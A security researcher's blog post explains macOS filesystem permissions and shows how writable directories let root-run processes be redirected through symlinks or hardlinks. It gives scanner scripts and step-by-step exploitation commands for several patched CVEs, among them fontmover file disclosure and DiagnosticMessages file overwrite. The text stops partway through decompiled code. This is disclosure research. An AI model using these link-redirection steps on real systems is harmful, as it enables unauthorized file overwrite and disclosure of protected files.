Exploiting directory permissions on macOS

This research started around summer time in 2019, when everything settled down after my talk in 2019, where I detailed how did I gained root privileges via a benign App Store application, that I developed. That exploit used a symlink to achieve this, so I though I will make a more general approach and see if this type of vulnerability exists in other places as well on macOS systems. As it turns out it does exists, and not just on macOS directly but also on other apps, it appears to be a very fruitful of issue, without too much effort I found 5 exploitable bugs on macOS, 3 in Adobe installers. In the following post I will first go over the permission model of the macOS filesystem, with focus on the POSIX part, discuss some of the non trivial cases it can produce, and also give a brief overview how it is extended. I won’t cover every single detail of the permission model, as it would be a topic in itself, but rather what I found interesting from the exploitation perspective. Then I will cover how to find these bugs, and finally I will go through in detail all of the bugs I found. Some of these are very interesting as we will see, as exploitation of them involves “writing” to files owned by root, while we are not root, which is not trivial, and can be very tricky.

The filesystem permission model

The POSIX base case

Every file and directory on the system will have a permission related to the file’s owner, the file’s group and everyone. All of these three can have three different permissions, which are read, write, execute. In case of files these are pretty trivial, it means that a given user/group/everyone can read/write/execute the file. In case of directories it’s a bit tricky:

  • read - you can enumerate the directory entries
  • write - you can delete/write files to the directory
  • execute - you are allowed to traverse the directory - if you don’t have this right, you can’t access any files inside it, or in any subdirectories.

Interesting combinations

These rules on directories create really interesting scenarios. Let’s say you have read access to a directory but nothing else. Although it allows you to enumerate files, since you don’t have execute rights, you still can’t see and access the files inside, this is regardless of the file’s permissions. If you have execute but not read access to a directory it means that you can’t list the files, but if you know the name of the file, you can access it, assuming you have rights to it. You can try the following experiment:

$ mkdir restricted
$ echo aaa > restricted/aaa
$ cat restricted/aaa
aaa
$ chmod 777 restricted/aaa
$ cat restricted/aaa
aaa
$ chmod 666 restricted
$ cat restricted/aaa
cat: restricted/aaa: Permission denied
$ ls -l restricted/
$ ls -l | grep restricted
drw-rw-rw-   3 csaby  staff       96 Sep  4 14:17 restricted
$ ls -l restricted/aaa
ls: restricted/aaa: Permission denied
$ ls -l restricted/
$ chmod 755 restricted
$ ls -l restricted/
total 8
-rwxrwxrwx  1 csaby  staff  4 Sep  4 14:17 aaa

It means that if you can’t access a file just because of directory permissions, but can find a way to leak those files to somewhere else, you can read the contents of those files.

If you have rwx permissions on a directory you can create/modify/delete files, regardless of the owner of the files. This means that if you have such access because of you id/group membership or simply because it’s granted to everyone, you can delete files owned by root.

Flag modifiers

There are many flags that a file can have, but for our case the only interesting one is the uchg, uchange, uimmutable flag. It means that it can’t be changed, regardless who tries to do it. For example, a root can’t delete a file if this flag is set, of course a root can remove the flag and then delete it. It also involves that if a file has the uchg flag set and it’s owned by root, no one can change it, even if you have write access to the inclusive directory. The flag has to be removed first, which can be only done by root in this case.

There are is another flag, called restricted, which means that the particular file or directory is protected by SIP (System Integrity Protection), and thus you can’t modify those even if you are root. Apple uses special internal entitlements that allows some particular processes to write to SIP protected locations.

To list the flags associated with a file, run: ls -lO. To change flags (except restricted) use the chflags command. For example you can see a bunch of these flags in the root directory:

csaby@mac % ls -lO /
total 16
drwxrwxr-x+ 83 root  admin  sunlnk            2656 Feb 21 07:44 Applications
drwxr-xr-x  70 root  wheel  sunlnk            2240 Feb 20 21:44 Library
lrwxr-xr-x   1 root  wheel  hidden              28 Feb 21 07:44 Network -> /System/Volumes/Data/Network
drwxr-xr-x@  8 root  wheel  restricted         256 Sep 29 22:23 System
drwxr-xr-x   6 root  admin  sunlnk             192 Sep 29 22:22 Users
drwxr-xr-x   5 root  wheel  hidden             160 Feb 22 13:59 Volumes
drwxr-xr-x@ 38 root  wheel  restricted,hidden 1216 Jan 28 23:32 bin
drwxr-xr-x   2 root  wheel  hidden              64 Aug 25 00:24 cores
dr-xr-xr-x   3 root  wheel  hidden            7932 Feb 21 07:43 dev
lrwxr-xr-x@  1 root  admin  restricted,hidden   11 Oct 11 07:37 etc -> private/etc
lrwxr-xr-x   1 root  wheel  hidden              25 Feb 21 07:44 home -> /System/Volumes/Data/home
drwxr-xr-x   3 root  wheel  hidden              96 Oct 11 20:38 opt
drwxr-xr-x   6 root  wheel  sunlnk,hidden      192 Jan 28 23:33 private
drwxr-xr-x@ 63 root  wheel  restricted,hidden 2016 Jan 28 23:32 sbin
lrwxr-xr-x@  1 root  admin  restricted,hidden   11 Oct 11 07:42 tmp -> private/tmp
drwxr-xr-x@ 11 root  wheel  restricted,hidden  352 Oct 11 07:42 usr
lrwxr-xr-x@  1 root  admin  restricted,hidden   11 Oct 11 07:42 var -> private/var

Sticky bit

From exploitation perspective this is also a very important bit, especially on directories as it further limits our capabilities to mess with files.

When a directory’s sticky bit is set, the filesystem treats the files in such directories in a special way so only the file’s owner, the directory’s owner, or root user can rename or delete the file. Without the sticky bit set, any user with write and execute permissions for the directory can rename or delete contained files, regardless of the file’s owner. Typically this is set on the /tmp directory to prevent ordinary users from deleting or moving other users’ files.

Source: Sticky bit - Wikipedia

ACLs

Although I didn’t find this being used extensively by default it can still affect exploitation, so it worth to mention it. The file system supports more granular access control than the POSIX model, and that is using with Access Control Lists. These lists contains Access Control Entries, which can define more specific access to a given user or group. The chmod's manpage will detail these permissions:

     The following permissions are applicable to directories:
           list    List entries.
           search  Look up files by name.
           add_file
                   Add a file.
           add_subdirectory
                   Add a subdirectory.
           delete_child
                   Delete a contained object.  See the file delete permission above.

     The following permissions are applicable to non-directory filesystem objects:
           read    Open for reading.
           write   Open for writing.
           append  Open for writing, but in a fashion that only allows writes into areas of the file not previously written.
           execute
                   Execute the file as a script or program.

Sandbox

The Sandbox is important as it can further restrict access to specific locations. SIP is also controlled by the Sandbox, but beyond that applications can have different sandbox profiles, which will define which resources can an application access in the system, including files. So a process might run as root, but because of the applied sandbox profile it might not able to access specific locations. These profiles can be found in /usr/share/sandbox/ and /System/Library/Sandbox/Profiles/. For example the mds process runs as root, however it’s limited to write to these locations:

(...omitted...)

(allow file-write*
    (literal "/dev/console")
    (regex #"^/dev/nsmb")
    (literal "/private/var/db/mds/system/mds.lock")
    (literal "/private/var/run/mds.pid")
    (literal "/private/var/run/utmpx")
    (subpath "/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000")
    (regex #"^/private/var/run/mds($|/)")
    (regex #"/Saved Spotlight Indexes($|/)")
    (regex #"/Backups.backupdb/\.spotlight_repair($|/)"))

(allow file-write* 
    (regex #"^/private/var/db/Spotlight-V100($|/)")
    (regex #"^/private/var/db/Spotlight($|/)")
    (regex #"^/Library/Caches/com\.apple\.Spotlight($|/)")
    (regex #"/\.Spotlight-V100($|/)")
    (mount-relative-regex #"^/\.Spotlight-V100($|/)")

    (mount-relative-regex #"^/private/var/db/Spotlight($|/)")
    (mount-relative-regex #"^/private/var/db/Spotlight-V100($|/)"))

(...omitted...)

(allow file*
    (regex #"^/Library/Application Support/Apple/Spotlight($|/)")
    (literal "/Library/Preferences/com.apple.SpotlightServer.plist")
    (literal "/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Resources/com.apple.SpotlightServer.plist"))
    
(...omitted...)

It’s beyond the scope of this post to detail how to interpret the SBPL language, which is used for defining these profiles, however if you are interested, I recommend the following PDF: https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v1.0.pdf

Finding bugs

Now I will detail how to find these bugs in the file system, and it will focus on two different ways doing this:

  1. Doing it trough static permission verification
  2. Doing it through dynamic analysis

The static method

I mainly used this case, as it’s very simple to do, and can be easily done anytime. I differentiated 4 cases while searching, which I thought might be interesting, however really only two of those were promising, and I didn’t dig deep into the other cases.

  1. File owner is root, but the directory owner is different
  2. File owner is not root, but directory owner is root
  3. File owner is root, and one of the user’s group has write access to the directory
  4. File owner is not root, but the group is wheel, and the parent folder also not root owned

I made a simple python script to find these relationship, it could likely be improved, but it does the job.

import os, stat
import socket

project_name = 'catalina_10.15.3'
to_check = [1,2,3,4]
admin_groups = [20, 80, 501, 12, 61, 79, 81, 98, 701, 702, 703, 33, 100, 204, 250, 395, 398, 399]

if 1 in to_check:
	issues1 = open(project_name + '_' + socket.gethostname() + '_issues1.txt','w')
if 2 in to_check:
	issues2 = open(project_name + '_' + socket.gethostname() + '_issues2.txt','w')
if 3 in to_check:
	issues3 = open(project_name + '_' + socket.gethostname() + '_issues3.txt','w')
if 4 in to_check:
	issues4 = open(project_name + '_' + socket.gethostname() + '_issues4.txt','w')

for root, dirs, files in os.walk("/", topdown = True):
	for f in files:
		full_path = os.path.join(root, f)
		directory = os.path.dirname(full_path)
		try:
			if 1 in to_check:
				if (os.stat(full_path).st_uid == 0) and os.stat(directory).st_uid != 0: #file owner is root directory is no
					print("[+] Potential issue found, file: %s, directory owner is not root, it's: %s" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
					issues1.write("[+] Potential issue found, file: %s, directory owner is not root, it's: %s\n" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
			if 2 in to_check:
				if (os.stat(full_path).st_uid != 0) and os.stat(directory).st_uid == 0: #file owner is not root directory is root
					print("[+] Potential issue found, file: %s, directory owner is root, file isn't: %s" % (full_path, os.stat(full_path).st_uid))
					issues2.write("[+] Potential issue found, file: %s, directory owner is root, file isn't: %s\n" % (full_path, os.stat(full_path).st_uid))
			if 3 in to_check:
				if (os.stat(full_path).st_uid == 0) and (os.stat(directory).st_gid in admin_groups) and (os.stat(directory).st_mode & stat.S_IWGRP): #file owner is root directory group is staff or admin and group has write access
					print("[+] Potential issue found, file: %s, group has write access to directory, it's: %s" % (full_path, os.stat(directory).st_gid))
					issues3.write("[+] Potential issue found, file: %s, group has write access to directory, it's: %s\n" % (full_path, os.stat(directory).st_gid))
			if 4 in to_check:
				if (os.stat(full_path).st_uid != 0) and (os.stat(full_path).st_gid == 0) and (os.stat(directory).st_uid != 0): #file group is wheel, but not root file, directory is not root
					print("[+] Potential issue found, file: %s, directory owner is not root, it's: %s" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
					issues4.write("[+] Potential issue found, file: %s, directory owner is not root, it's: %s\n" % (full_path, os.stat(os.path.dirname(full_path)).st_uid))
		except:
			continue

if 1 in to_check:
	issues1.close()
if 2 in to_check:
	issues2.close()
if 3 in to_check:
	issues3.close()
if 4 in to_check:
	issues4.close()

I think that #1 and #3 is sort of trivial to exploit, as that typically involves deleting the file, creating a symlink or hardline, and wait for the process to write to that file. This is what I will deal mostly below.

The dynamic method

This effort is basically about monitoring for #1 and #3 discussed above in a dynamic way, which may reveal new bugs, as you could have the following case: A root process is writing to a directory where you have write access, but after that changing the file owner to the user. This issue can’t be found with static search, as the file ownership has been changed. You will want to monitor for files that are written as root to a location what you can control. A good tool for this is Patrick Wardle’s FileMonitor, which uses the new security framework to monitor for file events. You can also try fs_usage, but I found this far better. You will get a huge TXT output, which you can process with a script and some command line fu. :)

BUGs

Ok, so far the theory, but I know everyone wants to see the actual bugs and exploits, so I will start discussing these now. :) The general idea behind these type of bugs is to redirect the file operation to a place we want, this can be done as we can typically delete the file, place a symlink or hardline, pointing somewhere else, and then we just need to wait and see. There are a couple of problems that we need to solve/face as these greatly limits our exploitation capabilities.

  1. The process might run as root, however because of sandboxing it might not be able to write to any interesting location
  2. The process might not follow symlinks / hardlinks, but instead it will overwrite our link, and create a new file
  3. If we can successfully redirect the file operation, the file will still be owned by root, and we can’t modify it after. We need to find a way to affect the file contents for our benefits.

#1 and #2 will effectively mean that we don’t really have a bug, we can’t exploit the permission issue. With #3 the base case is that we have an arbitrary file overwrite, however if we find a way to affect the process what to write into that file, we can potentially make it a full blown privilege escalation exploit. We can also make it useful if the file we can delete is controlling access to something, in that case instead of a link, we could create a new file, with a content we want, we will see a case for this as well.

In the first part I will cover bugs where I could only make it to an arbitrary file overwrite and then move to the more interesting scenarios.

If you want to see more macOS installer bugs, I highly recommend Patrick Wardle’s talk on the subject: Death By 1000 Installers; on MacOS, It’s All Broken! - YouTube DefCon 2017 Death by 1000 Installers; it’s All Broken! - Speaker Deck

InstallHistory.plist file - Arbitrary file overwrite vulnerability (CVE-2020-3830)

Whenever someone installs a file on macOS, the system will log it to a file called InstallHistory.plist, which is located at /Library/Receipts.

% ls -l /Library/Receipts/
total 40
-rw-r—r—  1 root        admin  18500 Nov  1 14:07 InstallHistory.plist
drwxr-xr-x  2 _installer  admin     64 Aug 25 03:59 db

The directory permissions for that looks like this:

csaby@mac Receipts % ls -le@OF /Library 

drwxrwxr-x   4 root  admin            -           128 Nov  1 15:25 Receipts/

This means that a standard admin user has write access to this folder. As I mentioned earlier, it also means that an admin user can delete any file in that folder regardless of its owners. We can also move the file:

% mv InstallHistory.plist InstallHistory_old.plist

After that we can create a symlink pointing anywhere we want. For example, I will point it to /Library/i.txt, where only root has write access.

csaby@mac Receipts % ln -s ../i.txt InstallHistory.plist
csaby@mac Receipts % ls -l
total 40
lrwxr-xr-x  1 csaby       admin      8 Nov  1 14:50 InstallHistory.plist -> ../i.txt
-rw-r—r—  1 root        admin  18500 Nov  1 14:07 InstallHistory_old.plist
drwxr-xr-x  2 _installer  admin     64 Aug 25 03:59 db

Now if we install any app, for example from the app store, the app will be logged, and a file will be created at a location we point to, if it’s an existing file, it will be overwritten.

csaby@mac Receipts % ls -l /Library/i.txt 
-rw-r—r—  1 root  wheel  523 Nov  1 14:50 /Library/i.txt

% cat /Library/i.txt 
<?xml version=“1.0” encoding=“UTF-8”?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version=“1.0”>
<array>
	<dict>
		<key>date</key>
		<date>2019-11-01T13:50:57Z</date>
		<key>displayName</key>
		<string>AdBlock</string>
		<key>displayVersion</key>
		<string>1.21.0</string>
		<key>packageIdentifiers</key>
		<array>
			<string>com.betafish.adblock-mac</string>
		</array>
		<key>processName</key>
		<string>appstoreagent</string>
	</dict>
</array>
</plist>

Unfortunately there is nothing interesting we can do with this PLIST file, we can likely control the properties of the actual application, however it doesn’t give us much.

This affected PackageKit and it was fixed in Catalina 10.15.3 About the security content of macOS Catalina 10.15.3, Security Update 2020-001 Mojave, Security Update 2020-001 High Sierra.

Adobe Reader macOS installer - arbitrary file overwrite vulnerability (CVE-2020-3763)

This is one of the installer bugs I found, and one of the more boring ones, as it was also only a simple overwrite vulnerability. At the end of installing Adobe Acrobat Reader for macOS a file is placed in the /tmp/ directory.

mac:tmp csaby$ ls -l com.adobe.reader.pdfviewer.tmp.plist
-rw-------  1 root  wheel  133 Nov 11 19:20 com.adobe.reader.pdfviewer.tmp.plist

Prior the installation we can create a symlink pointing somewhere in the file system.

mac:tmp csaby$ ln -s /Library/LaunchDaemons/a.plist com.adobe.reader.pdfviewer.tmp.plist
mac:tmp csaby$ ls -l 
total 248
lrwxr-xr-x  1 csaby  wheel      30 Nov 11 19:22 com.adobe.reader.pdfviewer.tmp.plist -> /Library/LaunchDaemons/a.plist

Once we run the installer the symlink will be followed and a file will be written to a location we control.

mac:tmp csaby$ sudo cat /Library/LaunchDaemons/a.plist
bplist00?_ReaderInstallPath_@file://localhost/Applications/Adobe%20Acrobat%20Reader%20DC.app/
                                                                                            b
mac:tmp csaby$ 

The file content is fixed, and we can’t control it, but it would still allow us to mess with other files. This is a DOS type scenario.

This was fixed in February 11, 2020: https://helpx.adobe.com/security/products/acrobat/apsb20-05.html

Grant group write access to plist files via DiagnosticMessagesHistory.plist (CVE-2020-3835)

This is one of the more interesting bugs. Someone can add rw-rw-r permissions to any plist file by abusing the file DiagnosticMessagesHistory.plist in the /Library/Application Support/CrashReporter/ folder.

The directory /Library/Application Support/CrashReporter/ allows write access to users in the admin group.

ls -l “/Library/Application Support/“ | grep CrashRe
drwxrwxr-x   7 root  admin  224 Nov  1 21:49 CrashReporter

Beyond that, the file DiagnosticMessagesHistory.plist has also write access set for admin users.

ls -l "/Library/Application Support/CrashReporter/"
total 768
-rw-rw-r--  1 root  admin     258 Oct 12 20:28 DiagnosticMessagesHistory.plist
-rw-r--r--  1 root  admin   94047 Oct 12 15:32 SubmitDiagInfo.config
-rw-r--r--@ 1 root  admin  291032 Oct 12 15:32 SubmitDiagInfo.domains

The first allows us to delete / move this file:

mv DiagnosticMessagesHistory.plist DiagnosticMessagesHistory.plist.old`

Beyond that it also allows us to create files in that folder, so we can create a symlink / hardlink pointing to another file, once we moved / deleted the original:

ln /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist DiagnosticMessagesHistory.plist

What happens is that when the system tries to write again to this file, it will check the RWX permissions on the file and if it’s not like the original -rw-rw-r--, it will restore it. It won’t write to the file we point to, just edit permissions. This means that we can cause the system to grant write access to any file on the system if we are in the admin group.

The file’s original permissions:

ls -l /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist                                
-rw-r--r--  2 root  admin  987 Aug 19  2015 /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist

After the system touches the file:

ls -l DiagnosticMessagesHistory.plist
-rw-rw-r--  2 root  admin     987 Aug 19  2015 DiagnosticMessagesHistory.plist

ls -l /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist
-rw-rw-r--  2 root  admin  987 Aug 19  2015 /Library/Printers/EPSON/Fax/Utility/Help/Epson_IJFaxUTY.help/Contents/Info.plist

We can trigger this by changing Analytics settings.

The only limitation is that the target file has to be a plist file, otherwise the permissions remain unchanged.

This can be useful for us if we grant write access to a file, where the group is one that we are also member of and the file is owned by root. We can find such files via the following command (and you can try many group IDs):

sudo find / -name "*.plist" -group 80 -user root -perm -200

Or to find files with no read access for others:

sudo find / -name "*.plist" -user root ! \( -perm -o=r -o -perm -o=w -o -perm -o=x \)

Or file to which only root has access:

sudo find / -name "*.plist" -user root -perm 600

An example from my machine:

mac:CrashReporter csaby$ sudo find /Library/ -name "*.plist" -user root -perm 600 
find: /Library//Application Support/com.apple.TCC: Operation not permitted
/Library//Preferences/com.apple.apsd.plist
/Library//Preferences/OpenDirectory/opendirectoryd.plist
mac:CrashReporter csaby$ ls -le@OF /Library//Preferences/com.apple.apsd.plist
-rw———  1 root  wheel  - 44532 Nov  8 08:38 /Library//Preferences/com.apple.apsd.plist

This was fixed in Catalina 10.15.3 About the security content of macOS Catalina 10.15.3, Security Update 2020-001 Mojave, Security Update 2020-001 High Sierra

macOS fontmover - file disclosure vulnerability (CVE-2019-8837)

This is a slightly unusual bug compared to the rest, yet it’s very interesting and it also comes down to controlling files, which is worked on by a process running as root. I came across this bug , when found that /Library/Fonts has group write permissions set, as we can see below:

$ ls -l /Library/ | grep Fonts
drwxrwxr-t  183 root  admin  5856 Sep  4 13:41 Fonts

As admin users are in the admin group, someone can drop here any file. This is the folder containing the system wide fonts, and I think this privilege unnecessary and I will come back to this why.

#default group membership for admin users
$ id
uid=501(csaby) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

For the demonstrations I will use a font I downloaded from here: Great Fighter Font | dafont.com but any font will do it, the only requirement is to have a valid font. Once we download a font, and double click on it, the Font Book application open, and will display the font for us:

Before we install the font we can check its default install location in preferences:

By default it goes to the User, but we can select Computer as the default. In the case of the user it will go into ~/Library/Fonts in the case of Computer it will go to /Library/Fonts. The issue presents if Computer is selected as the default.

Once we click Install Font we get another screen, which is the font validator:

We select the font and click Install Ticked, after that we are prompted for authentication, which means that the application elevates us to root and then installs the font. If we check with fs_usage what happens, we can see that the font is copied with the fontmover binary into /Library/Fonts.

$ sudo fs_usage | grep great_fighter.otf
19:53:24  stat_extended64   /Library/Fonts/great_fighter.otf                                                 0.000030   fontmover   
19:53:24  stat_extended64   /Users/csaby/Downloads/great_fighter/great_fighter.otf                           0.000019   fontmover   
19:53:24  open              /Users/csaby/Downloads/great_fighter/great_fighter.otf                           0.000032   fontmover   
19:53:24  lstat64           /Library/Fonts/great_fighter.otf                                                 0.000003   fontmover   
19:53:24  open_dprotected   /Library/Fonts/great_fighter.otf                                                 0.000086   fontmover   
19:53:24    WrData[AN]      /Library/Fonts/great_fighter.otf                                                 0.000167 W fontmover   

This is the process that will run as root. This is the point where I would like to reflect back to the beginning. The /Library/Fonts has group write permissions, which is not necessary if fontmover will always elevate to root.

A possible privilege escalation scenario would be that we place a symlink or hardlink in /Library/Fonts and let fontmover follow that. Fortunately (or unfortunately from a bug hunting perspective) this doesn’t happen, as if the hardlink / symlink exists it will be removed first, and even if I try to recreate it (doing a race condition before / after the removal and before the copy) it doesn’t work, and the file will be moved there safely with its original permissions. The only case when fontmover fails to copy the file is if we place a lock ($ chflags uchg filename) on the file, in that case it won’t be overwritten / deleted, but also not useful from an exploitation perspective. Still I think this group write permission is not necessary. Beyond that fontmover is sandboxed. If we check the fontmoverinternal.sb sandbox profile, we can see the following:

(allow file-write*
    (subpath "/System/Library/Fonts")
    (subpath "/System/Library/Fonts (Removed)")
    (subpath "/Library/Fonts")
    (subpath "/Library/Fonts (Removed)")
)

This means that file writes will be limited to the Fonts directory, so even if symlinks would be followed, we are stuck in the Fonts directory..

*nix directory permissions

The file disclosure vulnerability happens with regards of the source file. Between the steps Install Font and Install Ticked the file is not locked by the application, which means that someone can alter the file after the font validation happened. If we remove the original file, and place a symlink pointing somewhere fontmover will follow the symlink and copy that file into /Library/Fonts, with maintaining the original file’s permission. What do we gain with this? We can copy a file as root to a location where we have already write access to with maintaining the original file’s permissions. At first sight this doesn’t give as any more rights as if we don’t have read access to the original file, then we won’t gain it because it maintains its access rights, and if we have read access to it we could already read it. NO. There is a corner case in *nix based filesystem, where the last statement is not true, and what I mentioned in the very beginning. If there are files in a directory where only root has R+X access, those are not accessible to anyone else. In case there is a file which normally would be readable by anyone, we can use fontmover to move that file out, into /Library/Fonts and read its contents, which normally would be forbidden.

This quick and dirty python script can find such files for us:

import os, stat

fs = open('files.txt','w')

for root, dirs, files in os.walk("/", topdown = True):
	for f in files:
		full_path = os.path.join(root, f)
		directory = os.path.dirname(full_path)
		try:
			if (
			((os.stat(full_path).st_mode & stat.S_IRGRP or #group has read access
			os.stat(full_path).st_mode & stat.S_IROTH) #world readable
			and os.stat(full_path).st_uid == 0) #owner is root
			and
			((not os.stat(directory).st_mode & stat.S_IXGRP) and #group doesn't have execute
			(not os.stat(directory).st_mode & stat.S_IXOTH)) #others doesn't have execute
			):
				print("[+] file: %s" % full_path)
				fs.write("[+] file: %s\r\n" % full_path)
		except:
			continue
			
fs.close() 

One such file is:

-rw-r--r--  1 root  wheel  1043 Aug 30 16:10 /private/var/run/mds/uuid-tokenID.plist

Exploitation

From here the exploitation is simple:

  1. Wait for a user installing a file
  2. Before clicks “Install Ticked”, do this: a. Delete / rename original file b. Create a symlink to the file of your choice

Note that the output was changed below:

#no access to original file
$ cat /private/var/run/mds/uuid-tokenID.plist
cat: /private/var/run/mds/uuid-tokenID.plist: Permission denied

#exploitation
$ mv great_fighter.otf great_orig.otf
$ ln -s /private/var/run/mds/uuid-tokenID.plist great_fighter.otf

#click 'install ticked' here

$ cat /Library/Fonts/great_fighter.otf 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</key>
	<integer>1234567890</integer>
	<key>nextTokenID</key>
	<integer>1234567890</integer>
</dict>
</plist>

The fix

There was an undocumented partial fix in Catalina 10.15.1. After the ‘fix’, it’s still possible to achieve the same but on another place. A user can modify the file prior the authentication takes place. There are some checks when the user clicks “Install Ticked”, however when the user gets the authentication prompt there is a time window again to alter the file, before the user authenticates. So the steps would be now:

 #no access to original file
 $ cat /private/var/run/mds/uuid-tokenID.plist
 cat: /private/var/run/mds/uuid-tokenID.plist: Permission denied
 
 #click ‘install ticked’ here
 #wait for the authentication prompt
 
 #exploitation
 $ mv great_fighter.otf great_orig.otf
 $ ln -s /private/var/run/mds/uuid-tokenID.plist great_fighter.otf
 
 #authenticate
 
 $ cat /Library/Fonts/great_fighter.otf 
 () output omitted ()

It was finally fixed in Catalina 10.15.2. There is a case, when you switch from User to Computer profile, and you will get the authentication prompt, and you can still replace the file, however the new redirect won’t be followed, and the bogus file won’t be copied. The only thing you achieve is that no font will be installed, which is fine.

macOS DiagnosticMessages arbitrary file overwrite vulnerability (CVE-2020-3855)

While I couldn’t achieve full LPE in this case, and so it remained an arbitrary file overwrite, I got some partial successes with a trick, which I think is interesting. Finally some reverse engineering ahead!

I noticed that /private/var/log/DiagnosticMessages is writeable for the admin group.

$ ls -l /private/var/log/ | grep Diag
drwxrwx---  32 root             admin                 1024 Sep  2 20:31 DiagnosticMessages

Additionally all files in that directory are owned by root:

(...)
-rw-r--r--@ 2 root  wheel   420894 Aug 31 21:30 2019.08.31.asl
(...)

As usual I can delete this file, and create others, like a symlink in that folder.

Exploitation - Overwriting files

As discussed before exploiting such scenarios are typically very simple to the point where we overwrite a custom file, we create a symlink with the same name, and point it to somewhere where root has only access. In this case symlinks didn’t work for me, they weren’t properly followed. Luckily we have hard links as well, and that seemed to do the trick. As a POC I created a bogus file in Library and pointed a hardlink to it:

$ sudo touch /Library/asl.asl
$ rm 2019.09.02.asl

#you need to be quick creating the hardlink, as a new file might be created due to incoming logs
$ ln /Library/asl.asl 2019.09.02.asl

After that we can see that they are essentially the same:

$ ls -l 2019.09.02.asl
-rw-r--r--@ 2 root  wheel  1835 Sep  2 21:06 2019.09.02.asl
$ ls -l /Library/asl.asl 
-rw-r--r--@ 2 root  wheel  1835 Sep  2 21:06 /Library/asl.asl

If we take a look at the file content, we can indeed see that the output is properly redirected.

At this point we can overwrite any file on the filesystem as root, possibly causing a DOS scenario with overwriting a critical file.

You might need to reboot in order for the hard link to take effect.

Exploitation - Controlling content

This is the more interesting part of my research, and I want to show how did I ended up injecting content into this log file - it wasn’t trivial.

The ultimate problem with the above, is that we can redirect an output, but ultimately we don’t control the content of the file, it’s up to the application, so I can’t create a nice cronjob file or plist to drop into the LaunchDaemons and gain code execution as root. Although we can’t control the entire file, we can still have some influence on the content, which could be useful later.

This is a log file, so if we could send some custom log messages that would be quite good as we could inject something useful for us. With that I started to dig into how can I create ASL (Apple System Log) logs directed into DiagnosticMessages. ASL is Apple’s own syslog format, but these days it’s being deprecated and less and less applications use it. To complicate things, there are other folders containing ASL logs, like /private/var/log/asl. This link contains the documentation for the ASL API: Mac OS X Manual Page For asl(3). The API doesn’t talk about the various log targets, or DiagnosticMessages at all. I’m not a developer and I looked for some ASL code samples, and there aren’t too many, and needles to say, none of those posts talk about the various log buckets. At this point I was quite clueless how to send anything there, even if I can use the API.

Additionally if we check out these logs, this is what we see typically:

com.apple.message.domain: com.apple.apsd.15918893
com.apple.message.__source__: SPI
com.apple.message.signature: 1st Party
com.apple.message.signature2: N/A
com.apple.message.signature3: NO
com.apple.message.summarize: YES
SenderMachUUID: 399BDED0-DC36-38A3-9ADC-9F97302C3F08

It seemed that there are some pre-defined fields to be populated, that can take up some value, and that’s it. It looked quite hopeless to send here anything useful. But you always try harder :)

The hope came from a few logs hidden in the chaos, which looked like this:

CalDAV account refresh completed
com.apple.message.domain: com.apple.sleepservices.icalData
com.apple.message.signature: CalDAV account refresh statistics
com.apple.message.result: noop
com.apple.message.value: 0
com.apple.message.value2: 0
com.apple.message.value3: 0
com.apple.message.uuid: XXXXXXXXXX
com.apple.message.uuid2: XXXXXXXXXX
com.apple.message.wake_state: 0
SenderMachUUID: XXXXXXXXXX

The nice thing about this entry was that there was a custom string at the very beginning. This one came from the CalendarAgent process. This led me to figure out how Calendar does this, and if I can reverse it, I could do my own.

First I took the CalendarAgent binary that can be found at /System/Library/PrivateFrameworks/CalendarAgent.framework/Versions/A/CalendarAgent . I loaded this to Hopper, but couldn’t locate any string related to the message above. So I decided to just search for it with grep and that gave me the file I needed.

grep -R "CalDAV account refresh" /System/Library/PrivateFrameworks/

Binary file /System/Library/PrivateFrameworks//CalendarPersistence.framework/Versions/Current/CalendarPersistence matches

If we load the binary into Hopper, we can follow where that string is referenced:

It’s stored in a variable, and luckily it’s only referenced in one place:

Reading the related assembly is not that nice:

But luckily Hopper can do some awesome pseudo-code generation for us, and this is what we get for the entire function:

TXT format:

/* @class CalDAVAccountRefreshQueueableOperation */
-(void)sendStatistics {
    r13 = self;
    var_30 = **___stack_chk_guard;
    rax = IOPMGetUUID(0x3e9, &var_A0, 0x64);
    if (rax != 0x0) {
            r14 = &stack[-216];
